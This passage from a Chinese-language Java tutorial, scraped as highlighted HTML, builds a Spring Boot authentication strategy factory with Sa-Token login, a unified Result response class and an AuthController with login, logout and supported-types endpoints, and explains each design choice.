认证策略工厂</span></span><br><span class="line"><span class="comment"> * 负责管理所有认证策略，并根据认证类型自动选择对应的策略</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthStrategyFactory</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 策略容器</span></span><br><span class="line"><span class="comment">     * Key: 认证类型（AuthType）</span></span><br><span class="line"><span class="comment">     * Value: 认证策略（AuthStrategy）</span></span><br><span class="line"><span class="comment">     * 使用 ConcurrentHashMap 保证线程安全</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;AuthType, AuthStrategy&gt; strategyMap = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">AuthStrategyFactory</span><span class="params">(List&lt;AuthStrategy&gt; strategies)</span> &#123;</span><br><span class="line">        <span class="comment">// 遍历所有策略，注册到 Map 中</span></span><br><span class="line">        <span class="keyword">for</span> (AuthStrategy strategy : strategies) &#123;</span><br><span class="line">            <span class="type">AuthType</span> <span class="variable">type</span> <span class="operator">=</span> strategy.getSupportedType();</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 检查是否有重复的策略类型</span></span><br><span class="line">            <span class="keyword">if</span> (strategyMap.containsKey(type)) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;重复的认证策略: &quot;</span> + type.getDescription());</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 注册策略到 Map 中</span></span><br><span class="line">            strategyMap.put(type, strategy);</span><br><span class="line">            log.info(<span class="string">&quot;认证策略工厂初始化完成，已注册 &#123;&#125; 个策略&quot;</span>, strategyMap.size());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取认证策略</span></span><br><span class="line"><span class="comment">     * 根据认证类型从 Map 中获取对应的策略</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> authType 认证类型</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 认证策略</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IllegalArgumentException 如果认证类型不支持</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> AuthStrategy <span class="title function_">getStrategy</span><span class="params">(AuthType authType)</span> &#123;</span><br><span class="line">        <span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> strategyMap.get(authType);</span><br><span class="line">        <span class="keyword">if</span> (strategy == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;不支持的认证方式: &quot;</span> + authType.getDescription());</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> strategy;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 执行认证（门面方法）</span></span><br><span class="line"><span class="comment">     * 这是工厂类对外提供的统一认证入口</span></span><br><span class="line"><span class="comment">     * &lt;p&gt;</span></span><br><span class="line"><span class="comment">     * 为什么需要这个方法？</span></span><br><span class="line"><span class="comment">     * 1. 隐藏策略选择的复杂性：调用者不需要知道如何选择策略</span></span><br><span class="line"><span class="comment">     * 2. 统一异常处理：可以在这里统一处理策略执行过程中的异常</span></span><br><span class="line"><span class="comment">     * 3. 统一日志记录：可以在这里统一记录认证日志</span></span><br><span class="line"><span class="comment">     * 4. 集成 Sa-Token：策略类只返回 userId，工厂类负责调用 Sa-Token 登录</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 认证请求</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 认证响应（包含 Token 信息）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IllegalArgumentException 如果认证类型不支持</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> RuntimeException         如果认证失败</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> AuthTokenVO <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="type">AuthType</span> <span class="variable">authType</span> <span class="operator">=</span> request.getAuthType();</span><br><span class="line">        <span class="comment">// 步骤 1：选择策略</span></span><br><span class="line">        <span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> getStrategy(authType);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 步骤 2：策略类验证身份，返回用户 ID</span></span><br><span class="line">            <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> strategy.authenticate(request);</span><br><span class="line">            log.info(<span class="string">&quot;认证成功: type=&#123;&#125;, userId=&#123;&#125;&quot;</span>, authType.getDescription(), userId);</span><br><span class="line">            <span class="comment">// 步骤 3：Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(userId);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 步骤 4：构建响应对象</span></span><br><span class="line">            <span class="keyword">return</span> AuthTokenVO.builder()</span><br><span class="line">                    .tokenName(StpUtil.getTokenName())</span><br><span class="line">                    .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">                    .loginId(userId)</span><br><span class="line">                    .build();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;认证失败: type=&#123;&#125;, error=&#123;&#125;&quot;</span>, authType.getDescription(), e.getMessage());</span><br><span class="line">            <span class="keyword">throw</span> e;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取所有已注册的认证类型</span></span><br><span class="line"><span class="comment">     * 用于前端动态展示支持的登录方式</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 所有已注册的认证类型</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;AuthType&gt; <span class="title function_">getSupportedTypes</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> List.copyOf(strategyMap.keySet());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="19-2-6-4-关键设计点">19.2.6.4. 关键设计点</h3><p><strong>设计点一：为什么要检查重复的策略类型？</strong></p><p>如果有两个策略类返回相同的 <code>AuthType</code>，会导致后注册的策略覆盖先注册的策略。这是一个严重的 Bug，必须在启动时就检测出来：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (strategyMap.containsKey(type)) &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;重复的认证策略: &quot;</span> + type.getDescription());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果检测到重复，应用会在启动时抛出异常，而不是在运行时才发现问题。</p><p><strong>设计点二：为什么要提供 authenticate 门面方法？</strong></p><p>虽然调用者可以直接调用 <code>getStrategy(authType).authenticate(request)</code>，但这样会暴露策略选择的细节。提供门面方法可以：</p><ul><li>隐藏策略选择的复杂性</li><li>统一异常处理</li><li>统一日志记录</li><li>集成 Sa-Token（策略类只返回 <code>userId</code>，工厂类负责调用 <code>StpUtil.login(userId)</code>）</li></ul><p><strong>设计点三：为什么要提供 getSupportedTypes 方法？</strong></p><p>前端可以调用这个接口，动态获取系统支持的所有登录方式，然后展示对应的登录按钮。这样做的好处是：</p><ul><li>前端不需要硬编码登录方式</li><li>后端新增登录方式后，前端自动感知</li><li>可以通过配置动态启用或禁用某个登录方式</li></ul><hr><h3 id="19-2-6-5-本节小结">19.2.6.5. 本节小结</h3><p>本节完成了认证策略工厂的实现。工厂类在应用启动时自动扫描并注册所有策略，在收到登录请求时根据 <code>authType</code> 选择对应的策略，策略验证成功后调用 Sa-Token 完成登录并返回 Token 信息。</p><table><thead><tr><th style="text-align:left">要点</th><th style="text-align:left">何时使用</th><th style="text-align:left">关键动作</th></tr></thead><tbody><tr><td style="text-align:left">自动注册</td><td style="text-align:left">应用启动时</td><td style="text-align:left">Spring 注入所有策略 Bean，工厂类遍历并注册到 Map</td></tr><tr><td style="text-align:left">策略分发</td><td style="text-align:left">收到登录请求时</td><td style="text-align:left">根据 authType 从 Map 中获取对应的策略</td></tr><tr><td style="text-align:left">Sa-Token 集成</td><td style="text-align:left">策略验证成功后</td><td style="text-align:left">调用 StpUtil.login(userId) 完成登录</td></tr></tbody></table><p>在下一节中，我们将重构第一章问题引入的Controller 层，将原来的 if-else 分支替换为工厂模式，实现真正的 “零修改扩展”。</p><hr><h2 id="19-2-7-控制器实现：统一入口与零分支调度">19.2.7. 控制器实现：统一入口与零分支调度</h2><p>在上一节中，我们完成了认证策略工厂的实现，工厂类能够自动发现和注册所有策略，并根据 <code>authType</code> 自动选择对应的策略。现在，我们需要创建 Controller 层，提供统一的登录入口。</p><p>这一节是整个认证工厂的 <strong>“对外门面”</strong>，它将展示策略模式的最终效果：<strong>无论有多少种登录方式，Controller 层的代码永远只有几行</strong>。</p><hr><h3 id="19-2-7-1-Controller-层的职责定位">19.2.7.1. Controller 层的职责定位</h3><p>在传统的 MVC 架构中，Controller 层的职责非常明确：</p><p><strong>Controller 应该做什么？</strong></p><ul><li>✅ 接收 HTTP 请求</li><li>✅ 参数校验（通过 <code>@Valid</code> 注解）</li><li>✅ 调用 Service 层或工厂类</li><li>✅ 返回统一的响应格式</li></ul><p><strong>Controller 不应该做什么？</strong></p><ul><li>❌ 不应该包含业务逻辑（如验证密码、查询用户）</li><li>❌ 不应该包含策略选择逻辑（如 if-else 分支）</li><li>❌ 不应该直接操作数据库或 Redis</li></ul><p>在我们的认证工厂中，Controller 层只需要做一件事：<strong>将请求委托给工厂类</strong>。所有的策略选择、身份验证、Token 生成都由工厂类和策略类完成。</p><hr><h3 id="19-2-7-2-定义统一响应格式">19.2.7.2. 定义统一响应格式</h3><p>在创建 Controller 之前，我们需要先定义统一的响应格式。这样可以确保所有接口的返回值都遵循同一套规范。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/common/Result.java</code>（新建）</p><p>在 <code>src/main/java/com/example/auth</code> 目录下，右键选择 <code>New</code> → <code>Package</code>，输入包名 <code>common</code>，然后在 <code>common</code> 包下新建 <code>Result.java</code> 文件：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.common;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 统一响应格式</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &lt;T&gt; 响应数据类型</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Result</span>&lt;T&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 响应码</span></span><br><span class="line"><span class="comment">     * 200 表示成功，其他表示失败</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Integer code;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 响应消息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 响应数据</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> T data;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 成功响应（无数据）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">ok</span><span class="params">()</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(<span class="number">200</span>);</span><br><span class="line">        result.setMessage(<span class="string">&quot;操作成功&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 成功响应（有数据）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">ok</span><span class="params">(T data)</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(<span class="number">200</span>);</span><br><span class="line">        result.setMessage(<span class="string">&quot;操作成功&quot;</span>);</span><br><span class="line">        result.setData(data);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 失败响应</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(String message)</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(<span class="number">500</span>);</span><br><span class="line">        result.setMessage(message);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 失败响应（自定义错误码）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(Integer code, String message)</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(code);</span><br><span class="line">        result.setMessage(message);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点</strong></p><p>这个响应类包含三个字段：</p><ul><li><code>code</code>：响应码，200 表示成功，其他表示失败</li><li><code>message</code>：响应消息，用于提示用户</li><li><code>data</code>：响应数据，泛型类型，可以是任何对象</li></ul><p>我们提供了四个静态方法，用于快速构建响应对象：</p><ul><li><code>ok()</code>：成功响应，无数据</li><li><code>ok(T data)</code>：成功响应，有数据</li><li><code>fail(String message)</code>：失败响应，默认错误码 500</li><li><code>fail(Integer code, String message)</code>：失败响应，自定义错误码</li></ul><hr><h3 id="19-2-7-3-创建-AuthController">19.2.7.3. 创建 AuthController</h3><p>现在我们开始创建 Controller 层。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/controller/AuthController.java</code>（新建）</p><p>在 <code>src/main/java/com/example/auth</code> 目录下，右键选择 <code>New</code> → <code>Package</code>，输入包名 <code>controller</code>，然后在 <code>controller</code> 包下新建 <code>AuthController.java</code> 文件：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpUtil;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.common.Result;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.factory.AuthStrategyFactory;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.AuthRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.vo.AuthTokenVO;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.Valid;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证控制器</span></span><br><span class="line"><span class="comment"> * 提供登录、注销等接口</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/auth&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AuthStrategyFactory authStrategyFactory;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 统一登录接口</span></span><br><span class="line"><span class="comment">     * 支持多种登录方式，通过 authType 字段区分</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 认证请求（多态参数）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;AuthTokenVO&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> AuthRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到登录请求: type=&#123;&#125;&quot;</span>, request.getAuthType().getDescription());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 委托给工厂类，工厂类会自动选择对应的策略</span></span><br><span class="line">        <span class="type">AuthTokenVO</span> <span class="variable">authToken</span> <span class="operator">=</span> authStrategyFactory.authenticate(request);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.ok(authToken);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 注销登录接口</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/logout&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">logout</span><span class="params">()</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到注销请求&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Sa-Token 注销登录</span></span><br><span class="line">        StpUtil.logout();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.ok();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取支持的登录方式</span></span><br><span class="line"><span class="comment">     * 前端可以调用这个接口，动态展示登录按钮</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 所有支持的登录方式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/supported-types&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;List&lt;Map&lt;String, String&gt;&gt;&gt; <span class="title function_">getSupportedTypes</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;AuthType&gt; types = authStrategyFactory.getSupportedTypes();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 转换为前端友好的格式</span></span><br><span class="line">        List&lt;Map&lt;String, String&gt;&gt; result = types.stream()</span><br><span class="line">                .map(type -&gt; &#123;</span><br><span class="line">                    Map&lt;String, String&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">                    map.put(<span class="string">&quot;code&quot;</span>, type.getCode());</span><br><span class="line">                    map.put(<span class="string">&quot;description&quot;</span>, type.getDescription());</span><br><span class="line">                    <span class="keyword">return</span> map;</span><br><span class="line">                &#125;)</span><br><span class="line">                .toList();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.ok(result);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键设计点解析</strong></p><p><strong>设计点一：login 方法只有 3 行核心代码</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;AuthTokenVO&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> AuthRequest request)</span> &#123;</span><br><span class="line">    log.info(<span class="string">&quot;收到登录请求: type=&#123;&#125;&quot;</span>, request.getAuthType().getDescription());</span><br><span class="line">    <span class="type">AuthTokenVO</span> <span class="variable">authToken</span> <span class="operator">=</span> authStrategyFactory.authenticate(request);</span><br><span class="line">    <span class="keyword">return</span> Result.ok(authToken);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这就是策略模式的最终效果。无论系统支持多少种登录方式，Controller 层的代码永远只有这几行。所有的策略选择、身份验证、Token 生成都由工厂类和策略类完成。</p><p><strong>设计点二：@Valid 注解自动校验参数</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Result&lt;AuthTokenVO&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> AuthRequest request)</span></span><br></pre></td></tr></table></figure><p><code>@Valid</code> 注解会自动触发 Spring 的参数校验机制。如果前端传来的参数不符合要求（如 <code>username</code> 为空），Spring 会自动返回 400 错误，错误信息为我们在请求类中定义的 <code>message</code>（如 “用户名不能为空”）。</p><p><strong>设计点三：getSupportedTypes 方法返回前端友好的格式</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/supported-types&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;List&lt;Map&lt;String, String&gt;&gt;&gt; <span class="title function_">getSupportedTypes</span><span class="params">()</span> &#123;</span><br><span class="line">    List&lt;AuthType&gt; types = authStrategyFactory.getSupportedTypes();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 转换为前端友好的格式</span></span><br><span class="line">    List&lt;Map&lt;String, String&gt;&gt; result = types.stream()</span><br><span class="line">            .map(type -&gt; &#123;</span><br><span class="line">                Map&lt;String, String&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">                map.put(<span class="string">&quot;code&quot;</span>, type.getCode());</span><br><span class="line">                map.put(<span class="string">&quot;description&quot;</span>, type.getDescription());</span><br><span class="line">                <span class="keyword">return</span> map;</span><br><span class="line">            &#125;)</span><br><span class="line">            .toList();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> Result.ok(result);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>前端调用这个接口后，会得到如下格式的响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;password&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;账号密码登录&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;sms&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;手机验证码登录&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span 